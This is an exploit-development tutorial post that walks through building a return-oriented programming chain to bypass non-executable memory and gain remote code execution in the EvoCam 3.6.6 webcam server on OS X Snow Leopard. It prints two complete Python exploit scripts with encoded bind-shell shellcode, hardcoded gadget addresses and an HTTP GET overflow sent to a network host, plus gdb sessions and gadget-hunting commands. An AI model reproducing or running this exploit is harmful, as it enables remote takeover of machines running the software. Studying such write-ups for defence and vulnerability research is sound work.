CVE Certified

OSX ROP Exploit – EvoCam Case Study

6th July 2010 - by didn0t

Introduction

OSX ROP exploit

This post follows on from my previous OS X exploit tutorial which demonstrated finding a buffer overflow in an OS X application and developing a working exploit for it. The technique used in that tutorial only worked on the previous incarnation of Apple’s OS X operating system known as Leopard (10.5.x).


I stupidly mentioned at the end of my previous post that future OS X exploit would likely rely on ROP based techniques in order to bypass non-executable memory protection and achieve code execution. I was then challenged by then Offensive Security team to produce a follow up post, so the obvious next port of call was to get my previous EvoCam exploit working on Snow Leopard.



EvoCam ret2libc Version

My pervious exploit which only works on OS X 10.5.x (Leopard) used Dino Dai Zovi’s Exec Payload From Heap technique. This no longer works in Snow Leopard as the setjmp() function is no longer available in dyld. So I set about looking through dyld for a function I could use to copy a payload from Non-executable stack to somewhere we can execute it. We can use the nm command to dump the symbol table from the dyld library.


#  nm -arch i386 dyld.10.6.4 | grep " t _memcpy"
8fe2e130 t _memcpy

A quick examination of the output shows memcpy() as a possible candidate. After some testing I managed to get an exploit working on Snow Leopard using memcpy but with one small problem. One of the parameters passed to memcpy is size, and this was giving me issues with null characters, because my payload was only a few hundred bytes long. I managed to fudge a fix in gdb to get things to work but this obviously wasn’t going to be ideal for a real exploit scenario.


The next function I tried was strcpy() this doesn’t require a size variable as the end of the string is defined by a null byte. Going back to my original exploit and retooling we end up with the following python code:


#!/usr/bin/python

import socket
import struct

SHELL = \
"\xdb\xd2\x29\xc9\xb1\x27\xbf\xb1\xd5\xb6\xd3\xd9\x74\x24" + \
"\xf4\x5a\x83\xea\xfc\x31\x7a\x14\x03\x7a\xa5\x37\x43\xe2" + \
"\x05\x2e\xfc\x45\xd5\x11\xad\x17\x65\xf0\x80\x18\x8a\x71" + \
"\x64\x19\x94\x75\x10\xdf\xc6\x27\x70\x88\xe6\xc5\x65\x14" + \
"\x6f\x2a\xef\xb4\x3c\xfb\xa2\x04\xaa\xce\xc3\x17\x4d\x83" + \
"\x95\x85\x21\x49\xd7\xaa\x33\xd0\xb5\xf8\xe5\xbe\x89\xe3" + \
"\xc4\xbf\x98\x4f\x5f\x78\x6d\xab\xdc\x6c\x8f\x08\xb1\x25" + \
"\xc3\x3e\x6f\x07\x63\x4c\xcc\x14\x9f\xb2\xa7\xeb\x51\x75" + \
"\x17\x5c\xc2\x25\x27\x67\x2f\x45\xd7\x08\x93\x6b\xa2\x21" + \
"\x5c\x31\x81\xb2\x1f\x4c\x19\xc7\x08\x80\xd9\x77\x5f\xcd" + \
"\xf6\x04\xf7\x79\x27\x89\x6e\x14\xbe\xae\x21\xb8\x93\x60" + \
"\x72\x03\xde\x01\x43\xb4\xb0\x88\x47\x64\x60\xd8\xd7\xd5" + \
"\x30\xd9\x1a\x55\x01\x26\xf4\x06\x21\x6b\x75\xac"

WRITEABLE = 0x8fe66448
STACK = 0xb0102d30
STRCPY=0x8fe2db10
SRC=STACK+50
DST=WRITEABLE

BUFFER = 'A'*1564
BUFFER += struct.pack('>I',0x8fe2b3d4) # POP - RET Insturction - Pop's over the writeable value below
BUFFER += struct.pack('>I',WRITEABLE) # Required Writeable address here for exploit to work
BUFFER += struct.pack('>I',STRCPY) # use strcpy to copy shellcode from stack to heap
BUFFER += struct.pack('>I',0x8fe2dfd1) # POP - POP - RET over strcpy params
BUFFER += struct.pack('>I',DST) # Dst Param for strcpy
BUFFER += struct.pack('>I',SRC) # Src Param for strcpy
BUFFER += struct.pack('>I',WRITEABLE) # Move execution to where we moved our shell
BUFFER += '\x90' * 50
BUFFER += SHELL

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.10',8080))
print ("Sending Payload\r\n")
s.send("GET " +BUFFER + " HTTP/1.0\r\n\r\n")

So let’s start EvoCam, attach our debugger gdb and set a break point at the start of the strcpy() function call and see what is happening:


(gdb) b *0x8fe2db10
Breakpoint 1 at 0x8fe2db10
(gdb) c
Continuing.
[Switching to process 2310]

Breakpoint 1, 0x8fe2db10 in __dyld_strcpy ()
(gdb) x /8w $esp
0xb0102d38: 0x8fe2dfd1 0x8fe66448 0xb0102d62 0x8fe66448
0xb0102d48: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb) x /8w 0xb0102d62
0xb0102d62: 0x90909090 0x90909090 0x90909090 0x90909090
0xb0102d72: 0x90909090 0x90909090 0xc929d2db 0xb1bf27b1

So we’ve hit the break point for strcpy() at 0x8fe2db10, if we check the stack we can see the destination parameter (0x8fe66448 writeable memory in dyld) and our source parameter (0xb0102d62 which points to some nops and our payload on the stack). Let’s now set a breakpoint at the end of strcpy() and continue execution.


(gdb) b *0x8fe2dbc0
Breakpoint 2 at 0x8fe2dbc0
(gdb) c
Continuing.
Breakpoint 2, 0x8fe2dbc0 in __dyld_strcpy ()
(gdb) x /32w 0x8fe66448
0x8fe66448 <__dyld__ZL18initialPoolContent+131576>: 0x90909090 0x90909090 0x90909090 0x90909090
0x8fe66458 <__dyld__ZL18initialPoolContent+131592>: 0x90909090 0x90909090 0xc929d2db 0xb1bf27b1
0x8fe66468 <__dyld__ZL18initialPoolContent+131608>: 0xd9d3b6d5 0x5af42474 0x31fcea83 0x7a03147a
0x8fe66478 <__dyld__ZL18initialPoolContent+131624>: 0xe24337a5 0x45fc2e05 0x17ad11d5 0x1880f065
0x8fe66488 <__dyld__ZL18initialPoolContent+131640>: 0x1964718a 0xdf107594 0x887027c6 0x1465c5e6
0x8fe66498 <__dyld__ZL18initialPoolContent+131656>: 0xb4ef2a6f 0x04a2fb3c 0x17c3ceaa 0x8595834d
0x8fe664a8 <__dyld__ZL18initialPoolContent+131672>: 0xaad74921 0xf8b5d033 0xe389bee5 0x4f98bfc4
0x8fe664b8 <__dyld__ZL18initialPoolContent+131688>: 0xab6d785f 0x088f6cdc 0x3ec325b1 0x4c63076f

So at the end of the call to strcpy if we check the memory address of our destination parameter we can see that our payload has indeed been copied over, and it has bypassed the NX protection of the stack and is now executable! If we continue execution we receive a bind shell on our target host.


Okay so we now have our EvoCam exploit working on the latest version of OS X. Mission accomplished, well not quite…. The problem with this method is that we have hard coded the source parameter which is a pointer to our payload on the stack. This may not prove very reliable, the ideal method would be to calculate this address at runtime and pass it to strcpy. How hard can it be?


So how are we going to craft the parameter we require for our call to strcpy? It should be pretty easy to do this is x86 assembly, but because of the non-executable stack we would have to copy it to somewhere executable first, which is kind of where our problems started in the first place!


Can we use the ret2libc technique to do this for us? Probably not, unless I missed something I didn’t spot a function in dyld called _fudgemyexploitparamter()!


Rop-A-Bye Baby

We can however make use of a technique known as Return-Orientated-Programming or ROP for short. This is an adaption of the ret2libc technique whereby instead of making calls to entire functions we just use sections of code from these libraries in order to achieve what we want. The one caveat is that the assembly instructions we use must end in a RETN statement in order to return us back to the stack and the next ROP instruction.


For a great explanation of ROP and links to many other papers please check out Peter Van Eeckoutte’s article Chaining DEP with ROP – the Rubik’s[TM] Cube, here. I use Peter’s “more or less generic” ROP structure in developing my exploit.


So what do we need to do? We need to craft a parameter for strcpy() which points to our payload which is on the stack, we then need to write this parameter into the correct position on the stack so it gets picked up by strcpy when it is executed. Once strcpy has done it’s job we need to redirect execution to our newly copied payload on the heap.


The best thing to do is break these things down and take them one by one. However before we start we need to get our building blocks ready for our ROP structure, so Lego[TM].


Finding our Gadgets

So which libraries are we going search to find our ROP gadgets? Well due to ASLR on OS X the obvious choice is /usr/lib/dyld which is always loaded at a known fixed address. We can also use an area of memory known as the commpage which contains optimised library functions. The commpage is mapped into memory from the kernel so we can use gdb to dump its contents out to a file:


(gdb) dump memory commpage.dump 0xffff0000 0xffff4000

I originally tried to use the msfmachscan tool that is part of the Metasploit framework, but it was giving strange offsets. So in the end I used hexdump to dump the text segment from /usr/lib/dyld. OS X supports Univeral binaries which contains different flavours or code for difference architectures.


# otool -f dyld.10.6.4
    Fat headers
    fat_magic 0xcafebabe
    nfat_arch 3
    architecture 0
        cputype 16777223
        cpusubtype 3
        capabilities 0x0
        offset 4096
        size 348000
        align 2^12 (4096)
    architecture 1
        cputype 7
        cpusubtype 3
        capabilities 0x0
        offset 352256
        size 368080
        align 2^12 (4096)
    architecture 2
        cputype 18
        cpusubtype 10
        capabilities 0x0
        offset 720896
        size 334064
        align 2^12 (4096)

We are interested in the i386 code which is architecture 1 so we use the following command to dump the correct section to a file:


hexdump -v -s 0x56000 -n 368080 -e '1/1 "%02x"' dyld.10.6.4  > dyld.dump

We can now scan these dumps for usable ROP instructions. We can identify those ending is a simple RETN instruction by searching for the hex C3. We Can create a simple script to do this for us. One of the features of ROP on the i386 architecture, which has no set word alignment in assembly code, is that we can split instructions to get different opcodes than originally attended. The best way to deal with this is to find our RETN instruction and then work backwards byte by byte and see what instructions we end up with.


In order to translate the resulting opcodes into assembly mnemonics I used the ndisasm disassembler which comes with the nasm assembler. After searching for ROP gadgets in both dyld and commpage I ended up with about 400 possible gadgets, but not all of these where useful. I had already filtered out a large number of ROP chains which contained bad instructions which would cause the flow of our exploit to change, such as JMP and CALL instructions.


The Puzzle Begins

We now have a list of potential ROP instructions we can use in order to complete the steps required to get our exploit to work as intended. So hopefully a few quick greps of our rop.txt file and we should be home and dry! The first problem we have to deal with is the EvoCam exploit required us to place a writable memory address and a set position in our payload, this was after the 4 bytes which overwrite the EIP register. So as we have one instruction before this writable address on the stack we look for a “POP, RETURN” instruction which will allow us to jump over it and for execution to continue. So after a quick search we start our ROP gadget like this:


ROP =   struct.pack('>I',0x8fe2b3d4)         # POP - RET Insturction - Pop's over the writeable value below
ROP +=  struct.pack('&gs;I',WRITEABLE)          # Required Writeable address here for exploit to work

So with that out of the way we can get back to our task of creating a pointer to our shellcode on the stack, which should sit and the end of all of our ROP gadgets. So if we save a copy of ESP we should then be able to increase it’s value to point the the corect place, and we can use a nop sled if we don’t want to be too accurate in our calculations. So we search through our output for available PUSH ESP instructions:


# grep "^.....push esp" rop.txt
-- # push esp # add esp,byte +0x68 # xchg ebp,[esp] # ret  [0067f70] (5483c468872c24c3)
++ # push esp # and al,0x5c # mov ebp,eax # mov eax,[esp+0x54] # add esp,byte +0x68 # xchg ebp,[esp] # ret  [0067f70] (54245c89c58b44245483c468872c24c3)
++ # push esp # and al,0x4 # mov [eax+0x28],edx # mov edx,[esp] # mov [eax],edx # pop eax # ret  [0085b50] (5424048950288b1424891058c3)

We have three possible options, but none of them are a simple “POP ESP, RET”. This is one of the problems we will often face, so it is a case of choosing the combination of commands which will do what we want and cause the least damage to the stack and any registers we are interested in. After a bit of trial and error I chose to use the last of these three options. However we need to prefix this instruction with a couple more instructions to set things up correctly.


Following the PUSH ESP command it ands part of the EAX register, this shouldn’t be a problem for us as this currently just contains some rubbish used to overflow the buffer. However the next command is moving the value in EDX to the memory location pointed to by EAX+0x28. In order for this to work we need to place a writeable memory address into EAX. We can do this with a POP EAX command followed on the stack by the value to pop into it. Now the previous AND AL,0x4 comes back into play, but luckily this doesn’t actually cause us any problems. Next we have a couple more MOV commands but luckily these don’t cause us any problems, and actually also copy the value of ESP into EDX which will come in handy later on. So we end up with the following ROP gadget:


ROP +=  struct.pack('>I',0x8fe2fb63)         # pop eax # ret - needed for command two below
ROP +=  struct.pack('>I',WRITEABLE)          # writeable address to pop into eax for instructions below
ROP +=  struct.pack('>I',0x8fe2fb58)         # push esp # and al,0x4 # mov [eax+0x28],edx # mov edx,[esp] # mov [eax],edx # pop eax # ret

The next thing we want to do is place our call to strcpy onto the stack along with it’s parameters. We currently know the destination parameter which will be the writeable memory location we have chosen, however we will have to leave a place holder for the source address which we need to calculate later on. However we don’t want to make our call to strcpy yet until we have calculated this source address so we prefix is with a short jmp command to move down the stack and get to our ROP gadgets to calculate the source address for strcpy and write it to the correct location on the stack to replace our placeholder. We can find an instruction which adds 22 bytes to esp so our next section of ROP code is:


# ==================== Jump Over Parameters below ====================
ROP +=  struct.pack('>I',0xffff1d6b)     # add esp,byte +0x1c # pop ebp # ret

# ==================== strcpy call ====================
ROP +=  struct.pack('>I',STRCPY)         # use strcpy to copy shellcode from stack to heap
ROP +=  struct.pack('>I',0x8fe2dfd1)     # POP - POP - RET over strcpy params
ROP +=  struct.pack('>I',WRITEABLE)      # Dst Param for strcpy
ROP +=  'EEEE'                              # Src Param for strcpy - Placeholder

Our placeholder for the strcpy parameter is 16 bytes after the value of ESP what was saved into both EAX and EDX. We need to find a way to increase one of these two registers by 16 bytes. We do have an INC EAX available but is there a better way? Well we do have some add instructions available but the only one which might be of use is to add ECX to EAX. We don’t have a POP ECX instruction available but we do have a MOV ECX,[ESP+0x4] which might work. Our next problem is one we saw earlier with the memcpy function arguments, if we include a small number such as 16 in our buffer it’s going to have NULL bytes in the upper two bytes, but we could use a large number such as 0xffffffff and add something to it to get what we want. After a search I don’t find many useful instructions to add numbers to ECX but I do have an INC ECX and an ADD ECX,ECX. We can combine these together to make ECX contain 0x10 (16):


# Store  0x10 in ECX
ROP +=  struct.pack('>I',0x8fe2dae4)     # mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret  
ROP +=  struct.pack('>I',0x8fe2b3d4)     # POP - RET Insturction - Pop's over the value below
ROP +=  struct.pack('>I',0xffffffff)     # Value to store in ecx
ROP +=  struct.pack('>I',0x8fe0c0c7)     # inc ecx # xor al,0xc9
ROP +=  struct.pack('>I',0x8fe0c0c7)     # inc ecx # xor al,0xc9
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret

Unfortunately following the MOV command above there are two arithmetic operations which damage the value we have previously stored in EAX, fortunately we can easily replace it with the following ROP gadget and then add the value of ECX to it, which means EAX should now point to our placeholder:


# Replace stack pointer back into eax as it was trashed
ROP +=  struct.pack('>I',0x8fe2c71d)     # mov eax,edx # ret
# Add offset to paramter
ROP +=  struct.pack('>I',0x8fe2def4)     # add eax,ecx # ret

At this point EAX contains a pointer to the strcpy parameter placeholder and EDX contains our originally saved stack pointer. At this point I’m going to swap these two around so we have the original pointer in EAX so I can carry on increasing ECX to be an offset from our saved stack pointer which will point to our shellcode. This gives rise to the following set of instructions:


# Swap over so we can work on fresh copy of saved ESP
ROP +=  struct.pack('>I',0x8fe0e32d)     # xchg eax,edx
# Increase ECX some more times to point to our nop sled/shell code
ROP +=  struct.pack('>I',0x8fe0c0c7)     # inc ecx # xor al,0xc9
ROP +=  struct.pack('>I',0x8fe0c0c7)     # inc ecx # xor al,0xc9
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret
# Add offset to shellcode
ROP +=  struct.pack('>I',0x8fe2def4)     # add eax,ecx # ret

Great so we now have calculated our two required values. Next we need to replace the placeholder with the pointer to our shellcode on the stack. To do this we need a MOV [REG], EDX (or EAX) type command. Luckily we find an ideal candidate in the form of MOV [EAX],EDX # POP EAX # RET. (Did I say luckily? It actually took a lot of false starts and dead ends before getting lucky on this one!). In order for this command to work we need to swap around EAX and EDX so that EDX contains the value we want to write(the pointer to our shellcode) and EAX contains the address of the placeholder.


# Swap back
ROP +=  struct.pack('>I',0x8fe0e32d)     # xchg eax,edx
# Copy parameter to placeholder
ROP +=  struct.pack('>I',0x8fe2fb61)     # mov [eax],edx # pop eax # ret
ROP +=  'G'*4                               # junk to pop into eax

So we are nearly there, our strcpy function is all set up correctly now, we just need to move execution back up the stack to run it. We originally saved a copy of our stack pointer in both EAX and EDX but we have modified both of these. However if we exchange EAX and EDX once more and subtract the value still in ECX we should be back to where we started:


# Set our Stack pointer back to original value
ROP +=  struct.pack('>I',0x8fe0e32d)     # xchg eax,edx
ROP +=  struct.pack('>I',0x8fe2daea)     # sub eax,ecx # ret

Now we could do with a PUSH EAX, POP ESP chain to do this for us, but it isn’t going to be that simple. The next best option I found was MOV ESP,EBP, POP EBP, RET. So if we can get EAX into EBP we might have a shot. I managed to find a XCHG EAX,EBP, INC EBP, RET combination, which might work if we managed to undo the INC EBP. Our final section of ROP code is:


# Return execution to our strdup call above
ROP +=  struct.pack('>I',0x8fe0b1c2)     # xchg eax,ebp # inc ebp # ret
ROP +=  struct.pack('>I',0x8fe2b6a5)     # dec ebp # ret
ROP +=  struct.pack('>I',0xffff01f3)     # mov esp,ebp # pop ebp # ret
ROP +=  'G'*4                               # junk

Execution will now move up to our strcpy function call which now has the correct parameters to copy our shellcode from the stack to our chosen writable memory segment. Our last job is to add a ROP instruction to the end of the strcpy which directs execution to our shellcode, we also need to fix up some padding so that things align with the value we added to ESP earlier to jump over the strcpy routine. Our fixed up code is:


# ==================== strcpy call ====================
ROP +=  struct.pack('>I',STRCPY)         # use strcpy to copy shellcode from stack to heap
ROP +=  struct.pack('>I',0x8fe2dfd1)     # POP - POP - RET over strcpy params
ROP +=  struct.pack('>I',WRITEABLE)      # Dst Param for strcpy
ROP +=  'EEEE'                              # Src Param for strcpy - Placeholder
ROP +=  struct.pack('>I',WRITEABLE)      # Move execution to where we moved our shell
ROP +=  'C'*12                              # Padding


Go Go Gadget Exploit!

Putting this all together we end up with the following exploit which works for EvoCam 3.6.6 on Snow Leopard.


#!/usr/bin/python

import socket
import struct

SHELL = ( "\xdb\xd2\x29\xc9\xb1\x27\xbf\xb1\xd5\xb6\xd3\xd9\x74\x24"
"\xf4\x5a\x83\xea\xfc\x31\x7a\x14\x03\x7a\xa5\x37\x43\xe2"
"\x05\x2e\xfc\x45\xd5\x11\xad\x17\x65\xf0\x80\x18\x8a\x71"
"\x64\x19\x94\x75\x10\xdf\xc6\x27\x70\x88\xe6\xc5\x65\x14"
"\x6f\x2a\xef\xb4\x3c\xfb\xa2\x04\xaa\xce\xc3\x17\x4d\x83"
"\x95\x85\x21\x49\xd7\xaa\x33\xd0\xb5\xf8\xe5\xbe\x89\xe3"
"\xc4\xbf\x98\x4f\x5f\x78\x6d\xab\xdc\x6c\x8f\x08\xb1\x25"
"\xc3\x3e\x6f\x07\x63\x4c\xcc\x14\x9f\xb2\xa7\xeb\x51\x75"
"\x17\x5c\xc2\x25\x27\x67\x2f\x45\xd7\x08\x93\x6b\xa2\x21"
"\x5c\x31\x81\xb2\x1f\x4c\x19\xc7\x08\x80\xd9\x77\x5f\xcd"
"\xf6\x04\xf7\x79\x27\x89\x6e\x14\xbe\xae\x21\xb8\x93\x60"
"\x72\x03\xde\x01\x43\xb4\xb0\x88\x47\x64\x60\xd8\xd7\xd5"
"\x30\xd9\x1a\x55\x01\x26\xf4\x06\x21\x6b\x75\xac" )

WRITEABLE = 0x8fe66448                      # Writable address - dyld
STRCPY=0x8fe2db10                           # strcpy() in dyld

# ==================== Put stack pointer into EAX/EDX ====================
ROP =   struct.pack('>I',0x8fe2b3d4)     # POP - RET Insturction - Pop's over the writeable value below
ROP +=  struct.pack('>I',WRITEABLE)      # Required Writeable address here for exploit to work
ROP +=  struct.pack('>I',0x8fe2fb63)     # pop eax # ret - needed for command two below
ROP +=  struct.pack('>I',WRITEABLE)      # writeable address to pop into eax for instructions below
ROP +=  struct.pack('>I',0x8fe2fb58)     # push esp # and al,0x4 # mov [eax+0x28],edx # mov edx,[esp] # mov [eax],edx # pop eax # ret

# ==================== Jump Over Parameters below ====================
ROP +=  struct.pack('>I',0xffff1d6b)     # add esp,byte +0x1c # pop ebp # ret

# ==================== strcpy call ====================
ROP +=  struct.pack('>I',STRCPY)         # use strcpy to copy shellcode from stack to heap
ROP +=  struct.pack('>I',0x8fe2dfd1)     # POP - POP - RET over strcpy params
ROP +=  struct.pack('>I',WRITEABLE)      # Dst Param for strcpy
ROP +=  'EEEE'                              # Src Param for strcpy - Placeholder
ROP +=  struct.pack('>I',WRITEABLE)      # Move execution to where we moved our shell
ROP +=  'C'*12                              # Padding

# ==================== Craft Parameter 2  ====================
# Need to inc EAX or EDX to point to shell code

# Store  0x10 in ECX
ROP +=  struct.pack('>I',0x8fe2dae4)     # mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret  
ROP +=  struct.pack('>I',0x8fe2b3d4)     # POP - RET Insturction - Pop's over the value below
ROP +=  struct.pack('>I',0xffffffff)     # Value to store in ecx
ROP +=  struct.pack('>I',0x8fe0c0c7)     # inc ecx # xor al,0xc9
ROP +=  struct.pack('>I',0x8fe0c0c7)     # inc ecx # xor al,0xc9
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret

# Replace stack pointer back into eax as it was trashed
ROP +=  struct.pack('>I',0x8fe2c71d)    # mov eax,edx # ret

# Add offset to paramter
ROP +=  struct.pack('>I',0x8fe2def4)    # add eax,ecx # ret

# Swap over so we can work on fresh copy of saved ESP
ROP +=  struct.pack('>I',0x8fe0e32d)    # xchg eax,edx

# Increase ECX some more times to point to our nop sled/shell code
ROP +=  struct.pack('>I',0x8fe0c0c7)     # inc ecx # xor al,0xc9
ROP +=  struct.pack('>I',0x8fe0c0c7)     # inc ecx # xor al,0xc9
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret
ROP +=  struct.pack('>I',0x8fe24b3c)     # add ecx,ecx # ret

# Add offset to shellcode
ROP +=  struct.pack('>I',0x8fe2def4)     # add eax,ecx # ret

# Swap back
ROP +=  struct.pack('>I',0x8fe0e32d)     # xchg eax,edx

# Copy parameter to placeholder
ROP +=  struct.pack('>I',0x8fe2fb61)     # mov [eax],edx # pop eax # ret
ROP +=  'G'*4                               # junk to pop into eax

# ==================== Call strcpy function ====================

# Set our Stack pointer back to original value
ROP +=  struct.pack('>I',0x8fe0e32d)     # xchg eax,edx
ROP +=  struct.pack('>I',0x8fe2daea)     # sub eax,ecx # ret

# Return execution to our strdup call above
ROP +=  struct.pack('>I',0x8fe0b1c2)     # xchg eax,ebp # inc ebp # ret
ROP +=  struct.pack('>I',0x8fe2b6a5)     # dec ebp # ret
ROP +=  struct.pack('>I',0xffff01f3)     # mov esp,ebp # pop ebp # ret
ROP +=  'G'*4                                                                   # junk

# ==================== Exploit code to be copied to heap ====================

NOP =   '\x90' * 10
BUFFER = 'A'*1564 + ROP + NOP + SHELL

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.10',8080))
print '[+] Sending evil buffer...'
s.send("GET " +BUFFER + " HTTP/1.0\r\n\r\n")
print "[+] Done!"
print "[*] Check your shell on remote host port 4444"
s.close()


So if we launch our exploit we can see we do indeed get shell and it is a system running the latest version of OS X.



About the author


Paul Harrington (a.k.a. d1dn0t) has been working in IT Security for 10 years, working as an independent contractor for several well known global companies. When he gets a chance to escape from corporate policies and procedures he enjoys Vulnerability Development and Penetration Testing.

Paul is 0×26 years old and currently lives in the North West of England. You can reach him via didnot [at] me {dot} com.


Thanks to

* Dino Dai Zovi and Charlie Miller for writting the excellent The Mac Hacker’s Handbook.
* Peter Van Eeckhoutte for his excellent ROP tutorial.
* Thank Muts and Ryujin for their obscure form of encouragement.